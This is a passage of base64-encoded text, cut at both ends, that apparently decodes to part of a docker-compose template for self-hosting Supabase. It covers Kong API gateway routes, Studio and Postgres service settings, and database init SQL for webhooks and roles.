wZW5cbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9hdXRoL3YxL3ZlcmlmeVxuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgLSBuYW1lOiBhdXRoLXYxLW9wZW4tY2FsbGJhY2tcbiAgICB1cmw6IGh0dHA6Ly9zdXBhYmFzZS1hdXRoOjk5OTkvY2FsbGJhY2tcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGF1dGgtdjEtb3Blbi1jYWxsYmFja1xuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL2F1dGgvdjEvY2FsbGJhY2tcbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG4gIC0gbmFtZTogYXV0aC12MS1vcGVuLWF1dGhvcml6ZVxuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWF1dGg6OTk5OS9hdXRob3JpemVcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGF1dGgtdjEtb3Blbi1hdXRob3JpemVcbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9hdXRoL3YxL2F1dGhvcml6ZVxuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcblxuICAjIyBTZWN1cmUgQXV0aCByb3V0ZXNcbiAgLSBuYW1lOiBhdXRoLXYxXG4gICAgX2NvbW1lbnQ6ICdHb1RydWU6IC9hdXRoL3YxLyogLT4gaHR0cDovL3N1cGFiYXNlLWF1dGg6OTk5OS8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWF1dGg6OTk5OS9cbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGF1dGgtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvYXV0aC92MS9cbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG4gICAgICAtIG5hbWU6IGtleS1hdXRoXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2NyZWRlbnRpYWxzOiBmYWxzZVxuICAgICAgLSBuYW1lOiBhY2xcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfZ3JvdXBzX2hlYWRlcjogdHJ1ZVxuICAgICAgICAgIGFsbG93OlxuICAgICAgICAgICAgLSBhZG1pblxuICAgICAgICAgICAgLSBhbm9uXG5cbiAgIyMgU2VjdXJlIFJFU1Qgcm91dGVzXG4gIC0gbmFtZTogcmVzdC12MVxuICAgIF9jb21tZW50OiAnUG9zdGdSRVNUOiAvcmVzdC92MS8qIC0+IGh0dHA6Ly9zdXBhYmFzZS1yZXN0OjMwMDAvKidcbiAgICB1cmw6IGh0dHA6Ly9zdXBhYmFzZS1yZXN0OjMwMDAvXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiByZXN0LXYxLWFsbFxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL3Jlc3QvdjEvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuICAgICAgLSBuYW1lOiBrZXktYXV0aFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9jcmVkZW50aWFsczogdHJ1ZVxuICAgICAgLSBuYW1lOiBhY2xcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfZ3JvdXBzX2hlYWRlcjogdHJ1ZVxuICAgICAgICAgIGFsbG93OlxuICAgICAgICAgICAgLSBhZG1pblxuICAgICAgICAgICAgLSBhbm9uXG5cbiAgIyMgU2VjdXJlIEdyYXBoUUwgcm91dGVzXG4gIC0gbmFtZTogZ3JhcGhxbC12MVxuICAgIF9jb21tZW50OiAnUG9zdGdSRVNUOiAvZ3JhcGhxbC92MS8qIC0+IGh0dHA6Ly9zdXBhYmFzZS1yZXN0OjMwMDAvcnBjL2dyYXBocWwnXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtcmVzdDozMDAwL3JwYy9ncmFwaHFsXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBncmFwaHFsLXYxLWFsbFxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL2dyYXBocWwvdjFcbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG4gICAgICAtIG5hbWU6IGtleS1hdXRoXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2NyZWRlbnRpYWxzOiB0cnVlXG4gICAgICAtIG5hbWU6IHJlcXVlc3QtdHJhbnNmb3JtZXJcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGFkZDpcbiAgICAgICAgICAgIGhlYWRlcnM6XG4gICAgICAgICAgICAgIC0gQ29udGVudC1Qcm9maWxlOmdyYXBocWxfcHVibGljXG4gICAgICAtIG5hbWU6IGFjbFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9ncm91cHNfaGVhZGVyOiB0cnVlXG4gICAgICAgICAgYWxsb3c6XG4gICAgICAgICAgICAtIGFkbWluXG4gICAgICAgICAgICAtIGFub25cblxuICAjIyBTZWN1cmUgUmVhbHRpbWUgcm91dGVzXG4gIC0gbmFtZTogcmVhbHRpbWUtdjEtd3NcbiAgICBfY29tbWVudDogJ1JlYWx0aW1lOiAvcmVhbHRpbWUvdjEvKiAtPiB3czovL3JlYWx0aW1lOjQwMDAvc29ja2V0LyonXG4gICAgdXJsOiBodHRwOi8vcmVhbHRpbWUtZGV2OjQwMDAvc29ja2V0XG4gICAgcHJvdG9jb2w6IHdzXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiByZWFsdGltZS12MS13c1xuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL3JlYWx0aW1lL3YxL1xuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgICAgIC0gbmFtZToga2V5LWF1dGhcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfY3JlZGVudGlhbHM6IGZhbHNlXG4gICAgICAtIG5hbWU6IGFjbFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9ncm91cHNfaGVhZGVyOiB0cnVlXG4gICAgICAgICAgYWxsb3c6XG4gICAgICAgICAgICAtIGFkbWluXG4gICAgICAgICAgICAtIGFub25cbiAgLSBuYW1lOiByZWFsdGltZS12MS1yZXN0XG4gICAgX2NvbW1lbnQ6ICdSZWFsdGltZTogL3JlYWx0aW1lL3YxLyogLT4gd3M6Ly9yZWFsdGltZTo0MDAwL3NvY2tldC8qJ1xuICAgIHVybDogaHR0cDovL3JlYWx0aW1lLWRldjo0MDAwL2FwaVxuICAgIHByb3RvY29sOiBodHRwXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiByZWFsdGltZS12MS1yZXN0XG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvcmVhbHRpbWUvdjEvYXBpXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuICAgICAgLSBuYW1lOiBrZXktYXV0aFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9jcmVkZW50aWFsczogZmFsc2VcbiAgICAgIC0gbmFtZTogYWNsXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2dyb3Vwc19oZWFkZXI6IHRydWVcbiAgICAgICAgICBhbGxvdzpcbiAgICAgICAgICAgIC0gYWRtaW5cbiAgICAgICAgICAgIC0gYW5vblxuXG4gICMjIFN0b3JhZ2Ugcm91dGVzOiB0aGUgc3RvcmFnZSBzZXJ2ZXIgbWFuYWdlcyBpdHMgb3duIGF1dGhcbiAgLSBuYW1lOiBzdG9yYWdlLXYxXG4gICAgX2NvbW1lbnQ6ICdTdG9yYWdlOiAvc3RvcmFnZS92MS8qIC0+IGh0dHA6Ly9zdXBhYmFzZS1zdG9yYWdlOjUwMDAvKidcbiAgICB1cmw6IGh0dHA6Ly9zdXBhYmFzZS1zdG9yYWdlOjUwMDAvXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBzdG9yYWdlLXYxLWFsbFxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL3N0b3JhZ2UvdjEvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuXG4gICMjIEVkZ2UgRnVuY3Rpb25zIHJvdXRlc1xuICAtIG5hbWU6IGZ1bmN0aW9ucy12MVxuICAgIF9jb21tZW50OiAnRWRnZSBGdW5jdGlvbnM6IC9mdW5jdGlvbnMvdjEvKiAtPiBodHRwOi8vc3VwYWJhc2UtZWRnZS1mdW5jdGlvbnM6OTAwMC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWVkZ2UtZnVuY3Rpb25zOjkwMDAvXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBmdW5jdGlvbnMtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvZnVuY3Rpb25zL3YxL1xuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcblxuICAjIyBBbmFseXRpY3Mgcm91dGVzXG4gIC0gbmFtZTogYW5hbHl0aWNzLXYxXG4gICAgX2NvbW1lbnQ6ICdBbmFseXRpY3M6IC9hbmFseXRpY3MvdjEvKiAtPiBodHRwOi8vbG9nZmxhcmU6NDAwMC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL1xuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogYW5hbHl0aWNzLXYxLWFsbFxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL2FuYWx5dGljcy92MS9cblxuICAjIyBTZWN1cmUgRGF0YWJhc2Ugcm91dGVzXG4gIC0gbmFtZTogbWV0YVxuICAgIF9jb21tZW50OiAncGctbWV0YTogL3BnLyogLT4gaHR0cDovL3N1cGFiYXNlLW1ldGE6ODA4MC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLW1ldGE6ODA4MC9cbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IG1ldGEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvcGcvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZToga2V5LWF1dGhcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfY3JlZGVudGlhbHM6IGZhbHNlXG4gICAgICAtIG5hbWU6IGFjbFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9ncm91cHNfaGVhZGVyOiB0cnVlXG4gICAgICAgICAgYWxsb3c6XG4gICAgICAgICAgICAtIGFkbWluXG5cbiAgIyMgUHJvdGVjdGVkIERhc2hib2FyZCAtIGNhdGNoIGFsbCByZW1haW5pbmcgcm91dGVzXG4gIC0gbmFtZTogZGFzaGJvYXJkXG4gICAgX2NvbW1lbnQ6ICdTdHVkaW86IC8qIC0+IGh0dHA6Ly9zdHVkaW86MzAwMC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLXN0dWRpbzozMDAwL1xuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogZGFzaGJvYXJkLWFsbFxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL1xuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgICAgIC0gbmFtZTogYmFzaWMtYXV0aFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9jcmVkZW50aWFsczogdHJ1ZVxuIgogIHN1cGFiYXNlLXN0dWRpbzoKICAgIGltYWdlOiAnc3VwYWJhc2Uvc3R1ZGlvOjIwMjUuMDYuMDItc2hhLThmMjk5M2QnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gbm9kZQogICAgICAgIC0gJy1lJwogICAgICAgIC0gImZldGNoKCdodHRwOi8vMTI3LjAuMC4xOjMwMDAvYXBpL3BsYXRmb3JtL3Byb2ZpbGUnKS50aGVuKChyKSA9PiB7aWYgKHIuc3RhdHVzICE9PSAyMDApIHRocm93IG5ldyBFcnJvcihyLnN0YXR1cyl9KSIKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWFuYWx5dGljczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSE9TVE5BTUU9MC4wLjAuMAogICAgICAtICdTVFVESU9fUEdfTUVUQV9VUkw9aHR0cDovL3N1cGFiYXNlLW1ldGE6ODA4MCcKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnREVGQVVMVF9PUkdBTklaQVRJT05fTkFNRT0ke1NUVURJT19ERUZBVUxUX09SR0FOSVpBVElPTjotRGVmYXVsdCBPcmdhbml6YXRpb259JwogICAgICAtICdERUZBVUxUX1BST0pFQ1RfTkFNRT0ke1NUVURJT19ERUZBVUxUX1BST0pFQ1Q6LURlZmF1bHQgUHJvamVjdH0nCiAgICAgIC0gJ1NVUEFCQVNFX1VSTD1odHRwOi8vc3VwYWJhc2Uta29uZzo4MDAwJwogICAgICAtICdTVVBBQkFTRV9QVUJMSUNfVVJMPSR7U0VSVklDRV9GUUROX1NVUEFCQVNFS09OR30nCiAgICAgIC0gJ1NVUEFCQVNFX0FOT05fS0VZPSR7U0VSVklDRV9TVVBBQkFTRUFOT05fS0VZfScKICAgICAgLSAnU1VQQUJBU0VfU0VSVklDRV9LRVk9JHtTRVJWSUNFX1NVUEFCQVNFU0VSVklDRV9LRVl9JwogICAgICAtICdBVVRIX0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pXVH0nCiAgICAgIC0gJ0xPR0ZMQVJFX0FQSV9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX0xPR0ZMQVJFfScKICAgICAgLSAnTE9HRkxBUkVfVVJMPWh0dHA6Ly9zdXBhYmFzZS1hbmFseXRpY3M6NDAwMCcKICAgICAgLSAnU1VQQUJBU0VfUFVCTElDX0FQST0ke1NFUlZJQ0VfRlFETl9TVVBBQkFTRUtPTkd9JwogICAgICAtIE5FWFRfUFVCTElDX0VOQUJMRV9MT0dTPXRydWUKICAgICAgLSBORVhUX0FOQUxZVElDU19CQUNLRU5EX1BST1ZJREVSPXBvc3RncmVzCiAgICAgIC0gJ09QRU5BSV9BUElfS0VZPSR7T1BFTkFJX0FQSV9LRVl9JwogIHN1cGFiYXNlLWRiOgogICAgaW1hZ2U6ICdzdXBhYmFzZS9wb3N0Z3JlczoxNS44LjEuMDQ4JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICdwZ19pc3JlYWR5IC1VIHBvc3RncmVzIC1oIDEyNy4wLjAuMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS12ZWN0b3I6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGNvbW1hbmQ6CiAgICAgIC0gcG9zdGdyZXMKICAgICAgLSAnLWMnCiAgICAgIC0gY29uZmlnX2ZpbGU9L2V0Yy9wb3N0Z3Jlc3FsL3Bvc3RncmVzcWwuY29uZgogICAgICAtICctYycKICAgICAgLSBsb2dfbWluX21lc3NhZ2VzPWZhdGFsCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19IT1NUPS92YXIvcnVuL3Bvc3RncmVzcWwKICAgICAgLSAnUEdQT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ1BPU1RHUkVTX1BPUlQ9JHtQT1NUR1JFU19QT1JUOi01NDMyfScKICAgICAgLSAnUEdQQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQR0RBVEFCQVNFPSR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotcG9zdGdyZXN9JwogICAgICAtICdKV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtICdKV1RfRVhQPSR7SldUX0VYUElSWTotMzYwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICdzdXBhYmFzZS1kYi1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9kYi9yZWFsdGltZS5zcWwKICAgICAgICB0YXJnZXQ6IC9kb2NrZXItZW50cnlwb2ludC1pbml0ZGIuZC9taWdyYXRpb25zLzk5LXJlYWx0aW1lLnNxbAogICAgICAgIGNvbnRlbnQ6ICJcXHNldCBwZ3VzZXIgYGVjaG8gXCJzdXBhYmFzZV9hZG1pblwiYFxuXG5jcmVhdGUgc2NoZW1hIGlmIG5vdCBleGlzdHMgX3JlYWx0aW1lO1xuYWx0ZXIgc2NoZW1hIF9yZWFsdGltZSBvd25lciB0byA6cGd1c2VyO1xuIgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi92b2x1bWVzL2RiL19zdXBhYmFzZS5zcWwKICAgICAgICB0YXJnZXQ6IC9kb2NrZXItZW50cnlwb2ludC1pbml0ZGIuZC9taWdyYXRpb25zLzk3LV9zdXBhYmFzZS5zcWwKICAgICAgICBjb250ZW50OiAiXFxzZXQgcGd1c2VyIGBlY2hvIFwiJFBPU1RHUkVTX1VTRVJcImBcblxuQ1JFQVRFIERBVEFCQVNFIF9zdXBhYmFzZSBXSVRIIE9XTkVSIDpwZ3VzZXI7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvcG9vbGVyLnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL21pZ3JhdGlvbnMvOTktcG9vbGVyLnNxbAogICAgICAgIGNvbnRlbnQ6ICJcXHNldCBwZ3VzZXIgYGVjaG8gXCJzdXBhYmFzZV9hZG1pblwiYFxuXFxjIF9zdXBhYmFzZVxuY3JlYXRlIHNjaGVtYSBpZiBub3QgZXhpc3RzIF9zdXBhdmlzb3I7XG5hbHRlciBzY2hlbWEgX3N1cGF2aXNvciBvd25lciB0byA6cGd1c2VyO1xuXFxjIHBvc3RncmVzXG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvd2ViaG9va3Muc3FsCiAgICAgICAgdGFyZ2V0OiAvZG9ja2VyLWVudHJ5cG9pbnQtaW5pdGRiLmQvaW5pdC1zY3JpcHRzLzk4LXdlYmhvb2tzLnNxbAogICAgICAgIGNvbnRlbnQ6ICJCRUdJTjtcbi0tIENyZWF0ZSBwZ19uZXQgZXh0ZW5zaW9uXG5DUkVBVEUgRVhURU5TSU9OIElGIE5PVCBFWElTVFMgcGdfbmV0IFNDSEVNQSBleHRlbnNpb25zO1xuLS0gQ3JlYXRlIHN1cGFiYXNlX2Z1bmN0aW9ucyBzY2hlbWFcbkNSRUFURSBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIEFVVEhPUklaQVRJT04gc3VwYWJhc2VfYWRtaW47XG5HUkFOVCBVU0FHRSBPTiBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gVEFCTEVTIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gRlVOQ1RJT05TIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gU0VRVUVOQ0VTIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4tLSBzdXBhYmFzZV9mdW5jdGlvbnMubWlncmF0aW9ucyBkZWZpbml0aW9uXG5DUkVBVEUgVEFCTEUgc3VwYWJhc2VfZnVuY3Rpb25zLm1pZ3JhdGlvbnMgKFxuICB2ZXJzaW9uIHRleHQgUFJJTUFSWSBLRVksXG4gIGluc2VydGVkX2F0IHRpbWVzdGFtcHR6IE5PVCBOVUxMIERFRkFVTFQgTk9XKClcbik7XG4tLSBJbml0aWFsIHN1cGFiYXNlX2Z1bmN0aW9ucyBtaWdyYXRpb25cbklOU0VSVCBJTlRPIHN1cGFiYXNlX2Z1bmN0aW9ucy5taWdyYXRpb25zICh2ZXJzaW9uKSBWQUxVRVMgKCdpbml0aWFsJyk7XG4tLSBzdXBhYmFzZV9mdW5jdGlvbnMuaG9va3MgZGVmaW5pdGlvblxuQ1JFQVRFIFRBQkxFIHN1cGFiYXNlX2Z1bmN0aW9ucy5ob29rcyAoXG4gIGlkIGJpZ3NlcmlhbCBQUklNQVJZIEtFWSxcbiAgaG9va190YWJsZV9pZCBpbnRlZ2VyIE5PVCBOVUxMLFxuICBob29rX25hbWUgdGV4dCBOT1QgTlVMTCxcbiAgY3JlYXRlZF9hdCB0aW1lc3RhbXB0eiBOT1QgTlVMTCBERUZBVUxUIE5PVygpLFxuICByZXF1ZXN0X2lkIGJpZ2ludFxuKTtcbkNSRUFURSBJTkRFWCBzdXBhYmFzZV9mdW5jdGlvbnNfaG9va3NfcmVxdWVzdF9pZF9pZHggT04gc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzIFVTSU5HIGJ0cmVlIChyZXF1ZXN0X2lkKTtcbkNSRUFURSBJTkRFWCBzdXBhYmFzZV9mdW5jdGlvbnNfaG9va3NfaF90YWJsZV9pZF9oX25hbWVfaWR4IE9OIHN1cGFiYXNlX2Z1bmN0aW9ucy5ob29rcyBVU0lORyBidHJlZSAoaG9va190YWJsZV9pZCwgaG9va19uYW1lKTtcbkNPTU1FTlQgT04gVEFCTEUgc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzIElTICdTdXBhYmFzZSBGdW5jdGlvbnMgSG9va3M6IEF1ZGl0IHRyYWlsIGZvciB0cmlnZ2VyZWQgaG9va3MuJztcbkNSRUFURSBGVU5DVElPTiBzdXBhYmFzZV9mdW5jdGlvbnMuaHR0cF9yZXF1ZXN0KClcbiAgUkVUVVJOUyB0cmlnZ2VyXG4gIExBTkdVQUdFIHBscGdzcWxcbiAgQVMgJGZ1bmN0aW9uJFxuICBERUNMQVJFXG4gICAgcmVxdWVzdF9pZCBiaWdpbnQ7XG4gICAgcGF5bG9hZCBqc29uYjtcbiAgICB1cmwgdGV4dCA6PSBUR19BUkdWWzBdOjp0ZXh0O1xuICAgIG1ldGhvZCB0ZXh0IDo9IFRHX0FSR1ZbMV06OnRleHQ7XG4gICAgaGVhZGVycyBqc29uYiBERUZBVUxUICd7fSc6Ompzb25iO1xuICAgIHBhcmFtcyBqc29uYiBERUZBVUxUICd7fSc6Ompzb25iO1xuICAgIHRpbWVvdXRfbXMgaW50ZWdlciBERUZBVUxUIDEwMDA7XG4gIEJFR0lOXG4gICAgSUYgdXJsIElTIE5VTEwgT1IgdXJsID0gJ251bGwnIFRIRU5cbiAgICAgIFJBSVNFIEVYQ0VQVElPTiAndXJsIGFyZ3VtZW50IGlzIG1pc3NpbmcnO1xuICAgIEVORCBJRjtcblxuICAgIElGIG1ldGhvZCBJUyBOVUxMIE9SIG1ldGhvZCA9ICdudWxsJyBUSEVOXG4gICAgICBSQUlTRSBFWENFUFRJT04gJ21ldGhvZCBhcmd1bWVudCBpcyBtaXNzaW5nJztcbiAgICBFTkQgSUY7XG5cbiAgICBJRiBUR19BUkdWWzJdIElTIE5VTEwgT1IgVEdfQVJHVlsyXSA9ICdudWxsJyBUSEVOXG4gICAgICBoZWFkZXJzID0gJ3tcIkNvbnRlbnQtVHlwZVwiOiBcImFwcGxpY2F0aW9uL2pzb25cIn0nOjpqc29uYjtcbiAgICBFTFNFXG4gICAgICBoZWFkZXJzID0gVEdfQVJHVlsyXTo6anNvbmI7XG4gICAgRU5EIElGO1xuXG4gICAgSUYgVEdfQVJHVlszXSBJUyBOVUxMIE9SIFRHX0FSR1ZbM10gPSAnbnVsbCcgVEhFTlxuICAgICAgcGFyYW1zID0gJ3t9Jzo6anNvbmI7XG4gICAgRUxTRVxuICAgICAgcGFyYW1zID0gVEdfQVJHVlszXTo6anNvbmI7XG4gICAgRU5EIElGO1xuXG4gICAgSUYgVEdfQVJHVls0XSBJUyBOVUxMIE9SIFRHX0FSR1ZbNF0gPSAnbnVsbCcgVEhFTlxuICAgICAgdGltZW91dF9tcyA9IDEwMDA7XG4gICAgRUxTRVxuICAgICAgdGltZW91dF9tcyA9IFRHX0FSR1ZbNF06OmludGVnZXI7XG4gICAgRU5EIElGO1xuXG4gICAgQ0FTRVxuICAgICAgV0hFTiBtZXRob2QgPSAnR0VUJyBUSEVOXG4gICAgICAgIFNFTEVDVCBodHRwX2dldCBJTlRPIHJlcXVlc3RfaWQgRlJPTSBuZXQuaHR0cF9nZXQoXG4gICAgICAgICAgdXJsLFxuICAgICAgICAgIHBhcmFtcyxcbiAgICAgICAgICBoZWFkZXJzLFxuICAgICAgICAgIHRpbWVvdXRfbXNcbiAgICAgICAgKTtcbiAgICAgIFdIRU4gbWV0aG9kID0gJ1BPU1QnIFRIRU5cbiAgICAgICAgcGF5bG9hZCA9IGpzb25iX2J1aWxkX29iamVjdChcbiAgICAgICAgICAnb2xkX3JlY29yZCcsIE9MRCxcbiAgICAgICAgICAncmVjb3JkJywgTkVXLFxuICAgICAgICAgICd0eXBlJywgVEdfT1AsXG4gICAgICAgICAgJ3RhYmxlJywgVEdfVEFCTEVfTkFNRSxcbiAgICAgICAgICAnc2NoZW1hJywgVEdfVEFCTEVfU0NIRU1BXG4gICAgICAgICk7XG5cbiAgICAgICAgU0VMRUNUIGh0dHBfcG9zdCBJTlRPIHJlcXVlc3RfaWQgRlJPTSBuZXQuaHR0cF9wb3N0KFxuICAgICAgICAgIHVybCxcbiAgICAgICAgICBwYXlsb2FkLFxuICAgICAgICAgIHBhcmFtcyxcbiAgICAgICAgICBoZWFkZXJzLFxuICAgICAgICAgIHRpbWVvdXRfbXNcbiAgICAgICAgKTtcbiAgICAgIEVMU0VcbiAgICAgICAgUkFJU0UgRVhDRVBUSU9OICdtZXRob2QgYXJndW1lbnQgJSBpcyBpbnZhbGlkJywgbWV0aG9kO1xuICAgIEVORCBDQVNFO1xuXG4gICAgSU5TRVJUIElOVE8gc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzXG4gICAgICAoaG9va190YWJsZV9pZCwgaG9va19uYW1lLCByZXF1ZXN0X2lkKVxuICAgIFZBTFVFU1xuICAgICAgKFRHX1JFTElELCBUR19OQU1FLCByZXF1ZXN0X2lkKTtcblxuICAgIFJFVFVSTiBORVc7XG4gIEVORFxuJGZ1bmN0aW9uJDtcbi0tIFN1cGFiYXNlIHN1cGVyIGFkbWluXG5ET1xuJCRcbkJFR0lOXG4gIElGIE5PVCBFWElTVFMgKFxuICAgIFNFTEVDVCAxXG4gICAgRlJPTSBwZ19yb2xlc1xuICAgIFdIRVJFIHJvbG5hbWUgPSAnc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluJ1xuICApXG4gIFRIRU5cbiAgICBDUkVBVEUgVVNFUiBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4gTk9JTkhFUklUIENSRUFURVJPTEUgTE9HSU4gTk9SRVBMSUNBVElPTjtcbiAgRU5EIElGO1xuRU5EXG4kJDtcbkdSQU5UIEFMTCBQUklWSUxFR0VTIE9OIFNDSEVNQSBz